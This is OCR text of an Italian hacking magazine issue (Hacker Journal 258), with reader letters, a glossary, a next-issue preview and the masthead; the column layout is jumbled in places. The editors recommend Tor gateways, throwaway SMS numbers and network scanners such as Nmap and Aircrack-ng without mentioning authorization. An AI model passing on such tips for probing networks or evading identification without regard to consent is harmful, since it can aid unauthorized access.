di credenziali, bug, malware e altro ancora
• Contest: metti alla prova le tue conoscenze
con i giochi e le sfide della redazione
• Collezione HJ: i vecchi numeri della rivista,
in PDF, da scaricare
• Invia un articolo: ti piace scrivere e hai un’idea
originale per un articolo? Inviacela e la valuteremo!
 N E@ H AC KE RJ O U RN A L .i t
REDAZIO
REPLY
GLOSSARIO
DI BASE
ONION
Pseudo-dominio di primo
livello generico, utilizzato
e detenuto dalla rete TOR.
Può essere raggiunto solo con
client Tor, e questo permette
di cifrare sia le comunicazioni
in ingresso che quelle in
uscita, rendendo più difficile
il tracciamento dei pacchetti.
TOR BROWSER
Browser basato su Firefox
che permette di navigare sui
siti del circuito TOR in modo
anonimo grazie alla presenza
di una rete di router (onion
router) che permettono
il traffico anonimo in uscita
e la realizzazione di servizi
anonimi nascosti.
PROXY
Tipo di server che funge da
intermediario per le richieste
da parte dei client alla ricerca
di risorse su altri server,
disaccoppiando così l’accesso
al Web dal browser.
KEYLOGGER
Strumento hardware
o software in grado di
effettuare lo sniffing della
tastiera di un computer,
cioè di intercettare tutto
ciò che viene digitato senza
che l’utente si accorga
di essere controllato.
 60
Condividi i tuoi dubbi co
a nuove idee e suggeri
vedere sulla rivista: re
dazione@hackerjourn
CI SPIANO TUTTI!
Ho letto sul giornale della
mia città (Corriere del Veneto)
che a partire da ottobre nelle
due piazze principali di Verona
(piazza Bra e piazza Erbe) sono
stati installati dei “sensori”
in grado di registrare
all’istante quanti telefonini
(o tablet) siano presenti in quel
punto,e quanti di essi siano
in movimento da una piazza
all’altra. In pratica siamo tutti
controllati! Attenzione, io non
mi ritengo assolutamente
un no-Vax, ma semplicemente
una persona libera che vuole
avere il diritto di andare
ovunque senza che lo sappia la
Questura. Cosa ne pensate? navigare in incognito.
Walter
In realtà non si tratta di
una decisione presa dalla
questura della tua città ma
di un protocollo internazionale
che consente di catturare
e usare anonimamente questi
dati per ottenere solo il numero
di presenze complessive, non
per identificare le persone.
Poi, naturalmente, non potremo
mai sapere se le cose stanno
veramente così, ma devi
considerare allora che in tutte
le principali città d’Italia sono già
installate migliaia di telecamere
che riprendono in ogni momento
n la redazione insieme
rresti
menti su quello che vo
al.it
le persone e a livello di privacy
a nostro parere sono
decisamente più intrusive
rispetto a un sensore in grado
di individuare uno smartphone.
SITO ONION DALL’UFFICIO
Vorrei collegarmi ad alcuni
indirizzi .onion della rete TOR
che mi ha girato un amico,
senza però dovere installare
il Tor Browser. Secondo lui
questo è impossibile, voi cosa
ne pensate? Il mio problema
in realtà è che sul portatile
aziendale che ho in comodato
d’uso non mi è possibile
installare nuovi programmi,
mentre posso naturalmente
Silvia
Teoricamente è possibile
collegarsi ai siti .onion
utilizzando uno dei tanti servizi
proxy disponibili in Rete.
In questo modo, però, viene a
mancare tutta la privacy offerta
dalla rete TOR, in quanto i nostri
dati passeranno attraverso un
sito di cui non conosciamo nulla.
Se per te questo non è un
problema, puoi sicuramente
provare a collegarti all’indirizzo
https://tor2web.nl. Questo
oltretutto è uno dei pochi
gateway a utilizzare il protocollo
HTTPS e quindi a fornire un
 Z IO N E A N O N IM A
R E G IS T R A
La maggior parte dei servizi di chat e social richiede ormai
un numero di telefono per completare la registrazione attraverso
la ricezione di un messaggino SMS. Vorrei sapere se esistono un sito o
un’app, possibilmente gratuiti, che mi forniscano un numero di telefono
anche provvisorio da utilizzare per la registrazione.
Piero

Esistono in realtà alcuni siti, come freeonlinephone.org che mettono

a disposizione dei numeri pubblici da poter utilizzare per ricevere un messaggio
SMS. In alternativa, se hai uno smartphone Android, puoi provare un’app come
Nextplus che ti mette a sua volta a disposizione un numero telefonico USA
su cui potrai ricevere il messaggio per la registrazione. Non è invece possibile
ottenere un numero italiano senza registrazione, a meno di non acquistarlo
per vie traverse, ma non te lo consigliamo assolutamente, in quanto potrebbe
essere già stato usato precedentemente per attività illecite.

SGAMARE IL KEYLOGGER
Nelle grandi città oggi è praticamente
Il mio antivirus ha individuato
impossibile muoversi senza venire la presenza del keylogger Hooker
controllati da telecamere o antenne sul mio PC Windows. Solo che
non so per quanto tempo l’ho
telefoniche in grado di localizzarci avuto e se abbia comunicato
i miei dati. A questo punto,
grado di sicurezza maggiore e raccogliere informazioni sugli siccome vorrei evitare che mi
rispetto a quelli che usano host presenti in rete?
capiti di nuovo, vi chiedo se
il vecchio HTTP. Una volta sul sito Leone non esista un software preciso
dovrai semplicemente inserire in grado di individuare queste
l’indirizzo .onion da raggiungere Se leggi regolarmente la nostra minacce informatiche.
e verrai ridiretta all’indirizzo rivista saprai che trattiamo Massimo
che ti interessa. A nostro parere spesso questo argomento.
è sempre meglio, comunque, A nostro parere NMap, Esistono diversi software
usare TOR Browser, se non puoi https://nmap.org, oltre che il più in grado di rilevare e bloccare
farlo con il computer puoi usato resta a oggi tra i migliori spyware, keylogger e trojan.
sempre scaricare il browser port scanner. Non possiamo I migliori sono quelli che vengono
di TOR sullo smartphone. tralasciare di citare però aggiornati più spesso come
Aircrack-ng che secondo molti SpyShelter, www.spyshelter.com
MIGLIOR SCANNER professionisti della sicurezza è che ha però il limite di avere
DI VULNERABILITÀ? lo strumento migliore per testare una licenza che costa 29 euro.
Mi potete consigliare un valido qualsiasi rete Wi-Fi alla ricerca La migliore alternativa gratuita
scanner di vulnerabilità con cui di vulnerabilità che possano è Zemana Antilogger, che
cercare porte aperte attraverso consentire a qualsiasi utente si può scaricare da www.
le quali connettermi non autorizzato di ottenere bleepingcomputer.com/download/
a un sistema da remoto la password per la nostra rete. zemana-antilogger-free/

61 
 Il prossimo nu mero gen na io
1
sa ra‘ in ed icola da l 3
Bucare la chat
senza SQL a
Ecco il bug del sistem
et Chat
di messaggistica Rock

Nascondi file...
dentro aivifisale
pere
Tutto quello che de
Sniffa il Wi-Fe i
rt
sull’arte della stegano
grafia La guida definitiva all’a i dati
alisi de
della cattura e dell’an n
che viaggiano nelle wla

Attacco ai log!
Dopo XSS e DoS,
ecco a voi un attacco
RCE in salsa log!

Events Production: Giulia Sprea (Mind S.r.l.) - giulia@sprea.it
SERVIZIO QUALITÀ EDICOLANTI E DL
Sonia Lancellotti, Virgilio Cofano: Tel. 02 92432295 - distribuzione@sprea.it
351 5582739
Distributore per l’Italia: Press-Di Distribuzione stampa e multimedia s.r.l. - 20090 Segrate
Distributore per l’Estero : SO.DI.P S.p.A. Via Bettola, 18 - 20092 Cinisello Balsamo (MI)
Tel. +390266030400 - Fax +390266030269 - sies@sodip.it - www.sodip.it
Stampa: Arti Grafiche Boccia S.p.A.- Via Tiberio Claudio Felice, 7- 84131 Salerno

ABBONAMENTI E ARRETRATI Copyright : Sprea S.p.A.

Mensile - prezzo di copertina 3,90 €
www.hackerjournal.it - redazione@hackerjournal.it
La Divisione Informatica di Sprea edita anche:
WIN MAGAZINE ✦ LINUX PRO ✦ UBUNTU FACILE
MAC MAGAZINE✦ APP JOURNAL ✦IL MIO COMPUTER IDEA
Business Unit Manager: Massimiliano Zagaglia
Impaginazione: Andrea Carpani
Hanno collaborato: Andrea Cavallini, Antonio Dini, Francesco Pensabene, Maurizio Russo,
Vincenzo Digilio, Servizi editoriali: Backdoor di Gianmarco Bruni
Cover: Luca Patrian
Sprea S.p.A.
Sede Legale: Via Torino, 51 20063 Cernusco Sul Naviglio (Mi) - Italia
PI 12770820152- Iscrizione camera Commercio 00746350149
Per informazioni, potete contattarci allo 02 924321
CDA: Luca Sprea (Presidente), Alessandro Agnoli (Amministratore Delegato),
Maverick Greissing (Consigliere Delegato)
ADVERTISING, SPECIAL PROJECTS & EVENTS
Marketing: Marco Fregonara - Tel. 347 2240482 - marcofregonara@sprea.it
Segreteria: Emanuela Mapelli - Tel. 02 92432244 - emanuelamapelli@sprea.it
Abbonamenti: si sottoscrivono on-line su www.sprea.it/hackerjournal
abbonamenti@sprea.it
Tel. 02 87168197 (lun-ven / 9:00-13:00 e 14:00-18:00)
Il prezzo dell’abbonamento è calcolato in modo etico perché sia un servizio
utile e non in concorrenza sleale con la distribuzione in edicola.
Arretrati: si acquistano on-line su www.sprea.it/arretrati
abbonamenti@sprea.it
Tel. 02 87168197 (lun-ven / 9:00-13:00 e 14:00-18:00)
329 3922420
FOREIGN RIGHTS
Gabriella Re: Tel . 02 92432262 - gabriellare@sprea.it
SERVIZI CENTRALIZZATI
Art director: Silvia Taietti
Grafici: Alessandro Bisquola, Tamara Bombelli, Nicole Bombelli, Nicolò Digiuni,
Marcella Gavinelli, Luca Patrian
Coordinamento: Federica Berzioli, Chiara Civilla, Laura Galimberti, Gabriella Re,
Tiziana Rosato, Milena Sacchi, Roberta Tempesta, Silvia Vitali
Amministrazione: Irene Citino, Erika Colombo (responsabile), Désirée Conti,
Sara Palestra - amministrazione@sprea.it
Ufficio Legale: Francesca Sigismondi
Hacker Journal, registrata al tribunale di Milano il 27/10/2003 con il numero 601.
ISSN 1594-5774
Direttore responsabile: Luca Sprea
Informativa su diritti e privacy
La Sprea S.p.A. titolare esclusiva della testata Hacker Journal e di tutti i diritti di pubblica-
zione e di diffusione in Italia. L’utilizzo da parte di terzi di testi, fotografie e disegni, anche
parziale, è vietato. L’Editore si dichiara pienamente disponibile a valutare - e se del caso
regolare - le eventuali spettanze di terzi per la pubblicazione di immagini di cui non sia
stato eventualmente possibile reperire la fonte. Informativa e Consenso in materia di trat-
tamento dei dati personali (Codice Privacy d.lgs. 196/03). Nel vigore del D.Lgs 196/03 il Ti-
tolare del trattamento dei dati personali, ex art. 28 D.Lgs. 196/03, è Sprea S.p.A. (di seguito
anche “Sprea”), con sede legale in Via Torino, 51 Cernusco sul Naviglio (MI). La stessa La in-
forma che i Suoi dati, eventualmente da Lei trasmessi alla Sprea, verranno raccolti, trattati
e conservati nel rispetto del decreto legislativo ora enunciato anche per attività connesse
all’azienda. La avvisiamo, inoltre, che i Suoi dati potranno essere comunicati e/o trattati
(sempre nel rispetto della legge), anche all’estero, da società e/o persone che prestano
servizi in favore della Sprea. In ogni momento Lei potrà chiedere la modifica, la correzione
e/o la cancellazione dei Suoi dati ovvero esercitare tutti i diritti previsti dagli artt. 7 e ss. del
D.Lgs. 196/03 mediante comunicazione scritta alla Sprea e/o direttamente al personale
Incaricato preposto al trattamento dei dati. La lettura della presente informativa deve
intendersi quale presa visione dell’Informativa ex art. 13 D.Lgs. 196/03 e l’invio dei Suoi
dati personali alla Sprea varrà quale consenso espresso al trattamento dei dati personali
secondo quanto sopra specificato. L’invio di materiale (testi, fotografie, disegni, etc.) alla
Sprea S.p.A. deve intendersi quale espressa autorizzazione alla loro libera utilizzazione da
parte di Sprea S.p.A. Per qualsiasi fine e a titolo gratuito, e comunque, a titolo di esempio,
alla pubblicazione gratuita su qualsiasi supporto cartaceo e non, su qualsiasi pubblica-
zione (anche non della Sprea S.p.A.), in qualsiasi canale di vendita e Paese del mondo.
Il materiale inviato alla redazione non potrà essere restituito.
 IN EDICOLA
DAL 23 DICEMBRE

Scansiona il QR Code

Acquistala su www.sprea.it/glorierock
versione digitale disponibile dal 20 dicembre
 PU BBLICITÀ
100% INDIPENDENTE! NO

T utto quello
ch e g l i a l t r i
n o n o s a n o d i r t i !

IN QUES T O N U M E R O
VULNERABILITÀ | Accesso (quasi) libero a GitLab
Il concorrente Open Source di GitHub ha una vulnerabilità che permette
agli utenti di accedere a repository che non dovrebbero vedere

GREEN PASS | L’inizio di un cambiamento?

Dei pirati sono riusciti a sottrarre le chiavi crittografiche per la generazione
dei Green Pass. Ma non l’hanno fatto per soldi...

LOG DI WINDOWS | Accessi al filesystem svelati!

Vediamo come tracciare gli accessi ai file e alle directory
presenti nell’hard disk del nostro computer

LETTERE | Registrazione anonima

Le domande dei lettori, le risposte degli esperti della redazione.
Anche online sul nostro sito: https://hackerjournal.it

NUMERO 258 • MENSILE • 3.90 €

P.I. 24-12-2021 - Gennaio

Prezzi esteri: AUT € 7,50 - BE € 7,00 - LUX € 6,50 - F+PM € 9,50 FR + € 10,50 PM - ES € 6,00 - PT (Cont.) € 5,50 - CH Tedesca CHF 8,3 - CH Ticino CHF 7,3 - OLANDA € 7,50